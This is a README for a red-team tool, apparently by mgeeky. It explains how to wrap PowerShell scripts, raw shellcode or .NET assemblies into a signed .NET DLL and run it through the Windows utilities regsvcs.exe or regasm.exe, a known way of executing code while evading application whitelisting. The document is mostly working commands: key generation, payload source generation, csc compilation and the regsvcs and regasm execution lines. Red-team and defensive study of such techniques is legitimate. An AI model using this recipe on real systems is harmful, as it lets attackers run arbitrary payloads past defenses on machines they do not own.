## Rogue .NET Assembly for Regsvcs/Regasm Code Execution
|
||||
|
||||
Follow below described steps to properly generate your source code and then compile it to a .NET Assembly valid for Regasm/Regsvcs:
|
||||
|
||||
### Step 1: Generate key.snk file
|
||||
|
||||
```
|
||||
powershell -file build.ps1
|
||||
```
|
||||
|
||||
### Step 2: Generate source code file
|
||||
|
||||
Included in this directory script is a helper utility allowing one to quickly generate desired csharp source code file to be used for further `csc` compilation.
|
||||
|
||||
Usage:
|
||||
|
||||
```
|
||||
python3 generateRegsvcs.py --help
|
||||
|
||||
:: Regsvcs Code Execution Source code generation utility
|
||||
To be used during Red-Team assignments to launch Powershell/Shellcode payloads via Regsvcs/Regasm.
|
||||
Mariusz B. / mgeeky, <mb@binary-offensive.com>
|
||||
|
||||
usage: .\generateRegsvcs.py [options] <inputFile>
|
||||
|
||||
positional arguments:
|
||||
inputFile Input file to be embeded within C# code. May be either Powershell script, raw binary Shellcode or .NET Assembly (PE/EXE) file.
|
||||
|
||||
optional arguments:
|
||||
-h, --help show this help message and exit
|
||||
-e, --exe Specified input file is an Mono/.Net assembly PE/EXE. WARNING: Launching EXE is currently possible ONLY WITH MONO/.NET assembly EXE/DLL files, not an ordinary native PE/EXE!
|
||||
-r, --raw Specified input file is a raw Shellcode to be injected in self process in a separate Thread.
|
||||
```
|
||||
|
||||
Sample use case:
|
||||
|
||||
```
|
||||
python3 generateRegsvcs.py -r notepad64.bin > program.cs
|
||||
|
||||
:: Regsvcs Code Execution Source code generation utility
|
||||
To be used during Red-Team assignments to launch Powershell/Shellcode payloads via Regsvcs/Regasm.
|
||||
Mariusz B. / mgeeky, <mb@binary-offensive.com>
|
||||
|
||||
[?] File specified as raw Shellcode.
|
||||
|
||||
```
|
||||
|
||||
|
||||
### Step 3: Compilate library .NET Assembly
|
||||
|
||||
```
|
||||
%WINDIR%\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /out:regsvcs.dll /keyfile:key.snk program.cs
|
||||
```
|
||||
|
||||
If you passed Powershell code to be launched in a .NET Runspace, then an additional assembly will have to be used to compile resulting source code properly - meaning System.Management.Automation.dll (provided with this script). Then proper compilation command will be:
|
||||
|
||||
```
|
||||
%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /r:System.Management.Automation.dll /target:library /out:regsvcs.dll /keyfile:key.snk program.cs
|
||||
```
|
||||
|
||||
|
||||
### Step 4: Code execution via Regsvcs or Regasm:
|
||||
|
||||
```
|
||||
%WINDIR%\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe regsvcs.dll
|
||||
```
|
||||
or
|
||||
```
|
||||
%WINDIR%\Microsoft.NET\Framework\v4.0.30319\regasm.exe regsvcs.dll
|
||||
```
|
||||
or
|
||||
```
|
||||
%WINDIR%\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe /U regsvcs.dll
|
||||
```
|
||||
or
|
||||
```
|
||||
%WINDIR%\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U regsvcs.dll
|
||||
```
